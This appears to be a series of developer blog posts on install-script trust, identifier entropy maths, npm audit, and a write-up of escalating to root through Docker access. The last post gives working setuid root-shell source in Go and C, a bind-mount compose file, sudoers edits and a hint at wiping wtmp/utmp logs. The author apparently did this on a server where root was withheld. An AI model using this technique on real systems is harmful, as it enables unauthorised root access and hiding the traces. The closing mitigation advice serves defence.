In it the author states that it is stupid to consider piping shell scripts from the internet directly into a shell to be considered a security vulnerability or even a malpractice. The reason he gives is you already trust all the other software the vendor made why not this install script? Or why not the website itself?

Invulnerability

No one software vendor is invulnerable to attack. There have been many cases in the recent past of packages across languages being injected with malware. From Ruby to NPM. This means that sites could be compromised or even the install scripts. The reason install scripts from Github could be compromised is because the software developers' account on there could be compromised.

Check yourself before you wreck yourself

The thing is it is good to have a healthy dose of mistrust and trust the vendors but verify it is all alright.

You can do this by inspecting the code periodically, or in the case of install scripts what it is actually doing. You can always run the hash checksums or the GPG check to verify it. You could shut everything else off and have a look with a network packet inspector if anything fishy is going on.

The routine you want to get yourself into is the fact you check everything at least with a cursory glance before you blindly run everything.

#devops #secops #devsecops

Entropy

In order to quantize the measurement of how unique something is we need a unit to measure it in. This measurement is called entropy or the level of entropy and the unit is bits. Next we will compare two identifiers, one is UUIDv4 (Universally Unique Identifier v4) and the other a custom one with a specific format and their respective bits.

UUIDv4

As stated on the Wikipedia page, the number of entropy bits are 122. This is due to the fact a UUID is actually a representation of 128 bit integer. 4 bits are needed to denote the version and 2 bits are needed to mark the variant. So 128 – 6 bits is 122.

Custom format

The custom format will follow the convention of

<first id><hex value><second id>-<day of the month><hex value>-<hex value><hex value><hex value>

The first and second id are single digit values. The hex value comes from a UUIDv4 generated value and the day of the month is a double digit. An example would be: 1F2-01D-36F.

Calculation

To calculate the entropy there are different tactics. One is the Shannon entropy, the other is the Rényi entropy and there is a simple calculation for guessing entropy. The guessing entropy is calculated by doing log₂(A) * L where A is the size of the alphabet, how many possible characters can inhabit a spot, and L is the total length or how many spots we have of these. In our case it is that the first id, second id and day of the month are all static. That leaves 5 spots of hex values which can contain 16 possibilities. Formula will be: log₂(16) * 5 = 20.

So we have 20 bits of entropy vs 122 bits.

Collision

We can calculate the number that is needed in order to get a 50% probability that an identifier will be generated that already exist and therefore there will be a collision. Formula to do this is: 0.5 + √(0.25 + 2 * ln(2) * 2^entropy ). For UUIDv4 this gives 0.5 + √(0.25 + 2 * ln(2) * 2¹²² ) = 2.71 * 10¹⁸ . For our custom implementation this gives 0.5 + √(0.25 + 2 * ln(2) * 2²⁰ ) = 1.206.

This means it takes only 1.206 entries with our new format to arrive at a 50-50 chance of duplicating our unique identifier.

Solution

The solution would be to store the unique id and the displayed id together. Then the lower entropy would be okay, as the user combined with the lower entropy identifier would be unique but only if you stay within the 1206 entries. A person might get above that number though.

So we use the UUIDv4 to store the actual unique identifier. Then for the display one the customer can communicate with a good representation of a number that will be generated once and let us take all letters of the alphabet and numbers for a total of 36 which will be the size of A and make L=9. This means we get about 46 bits of entropy and that would make for 9.876.831 entries needing to be generated to get to 50-50 chance. Since for a single user it would be very difficult to get that many entries I think we would be secure and in worst case check if the id already exists and then generate another one.

#devlife #secops #devsecops

Workaround

Basically just turned off npm audit for now, or increase the audit level to critical instead of just high.

Update

The issue is resolved now because the frameworks released a minor update addressing this.

Problem

Sometimes you just run into the fact that major frameworks cannot run fast enough because of so many nested dependencies. The tree graph of the dependencies could rival Yggdrasil. Do not be lulled into a false sense of security thinking these frameworks automatically provide the best of the best security.

Because of all these small moving parts working together to create a complex machination it means the attack surface is quite large actually. It also opens up the multitude of possible so-called supply chain attacks.

That is where you do not attack the main framework but a package that is used somewhere along the chain in order to create the bigger framework.

#devops #secops #devsecops

I decided to take matters into my own hands. So first things first, we have sudo privileges but you need to know the password. We do not know the password, everything is done with SSH keys. Secondly there is docker on the system but we can only interact with it via their homegrown tool. Hmmz, how can we exploit this?

A special kind of binary

There are binaries in Linux that are marked s for special, or setuid, either or. These kinds of binaries run with what is known as a different effective uid or euid. For example sudo is one of these programs.

-rwsr-xr-x 1 root root 187K Feb 18  2021 /usr/bin/sudo

That s in the -rws means the setuid bit is set. Of course that is how sudo works, it sets the real uid to the euid and then executes whatever program needed. We can write our own software that does this without asking for passwords.

Take note however of the fact that the euid comes from who actually owns the binary. So you need root privileges in order to make a binary owned by root and so if you already have that then you don't need this exploit.

Go make a binary

So let me try my hand at writing it in Go. The filename is stars.go.

package main

import "syscall"


func main() {
  syscall.Setuid(syscall.Geteuid())
  syscall.Exec("/bin/sh", []string{}, []string{})
}

That is all it takes. Really, that is it. So we build the binary with go build stars.go and then the following on a machine you control to test it out:

sudo chown root:root stars
sudo chmod u+s stars

This creates a binary that has the setuid bit and owned by root but anyone can execute and so run it and BAM we got a root shell.

Well not quite. It did not work for me. So I ditched this way.

Later on I will share what failed to make it work.

Good ol' C

C never fails. So let us write some C code that does the exact same thing.

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

static uid_t euid;

int main (void) {
  euid = geteuid();
  setuid(euid);
  char* args[] = {"/bin/sh", NULL};
  execvp(args[0], args);
}

As you can see it is not a lot more that is needed to be written. Compile with gcc -o stars stars.c and repeat the same steps above for making the binary the correct state. Run it and BAM we do get a root shell. This was so exciting for me. The proof of concept (PoC) worked.

Actual operation

Back to the server. Since there is access to docker via a docker-compose we create the following docker-compose.yml file:

version: '3.3'

services:
  generic:
      image: rockylinux/rockylinux
      command:
         - "/usr/bin/tail"
         - "-f"
         - "/dev/null"
      volumes:
         - .:/data

Then run the command via their tool to get a container infinitely running and then exec into it. The reason for the RockyLinux container is because I was on CentOS host machine and I wanted to see how RockyLinux was whilst staying relatively close to the host machine. The command is needed otherwise the container will exit immediately. This command is basically trying to endlessly read /dev/null but that will never produce output.

Now navigate to /data and install vim and gcc. I did this with yum but I realized now that actually that should have been dnf, but maybe underwater they are symlinked.

Then after installation create the stars.c file and compile it and fix the binary. Then drop out of the docker container and run the binary on the host system and BAM, root shell, pwned, h4xx0rd and what have you not.

Quickly edited the /etc/sudoers file to give me passwordless sudo and if you really wanted to be fancy you could edit out your wtmp and utmp entries to cover your tracks but I did not feel this was necessary.

Go make a binary, again

So I wanted to get it to work with Go though as I did not understand why it failed. I looked at the official docs and saw it gave back an error object. I thought let me log that out and see what it contains. It contained something along the lines of “operation not permitted”. So a quick search on that with Setuid call and I got the result that Go version 1.15 had a bug that made it not work but Go 1.16 and up had it fixed. This commit has the exact reason.

So I installed Go 1.17 and recompiled and reran and BAM, I got a shell again.

The advantage of making a Golang exploit is you automatically get a statically linked binary that could just be dropped in as long as they ran the general same version of the C library, for example GNU libc, and have the same architecture (both being x86_64 or aarch64 for example) .

So if you wanted to target Alpine (musl instead of glibc) running on Raspberry Pi 4 (aarch64 instead of x86) then you have to cross compile or use some clever tricks I will write in the next post of running docker as a different architecture using QEMU.

Conclusion

This was a fun and simple way of getting around the no root thing. Just remember that Docker shares the kernel with the host and therefore you can easily bypass many restrictions you try to put on your system. For instance making /etc/sudoers read-only (I have root, I can do what I want...) or never sharing passwords only SSH keys.

How to combat this? Well you could use rootless docker that does not do user mapping with the containers. If you do not map users 1-1 with the host you can never actually be root on the host machine and therefore your root user in the container can not create these special binaries on the machine itself.

#devlife #devops #devsecops #secops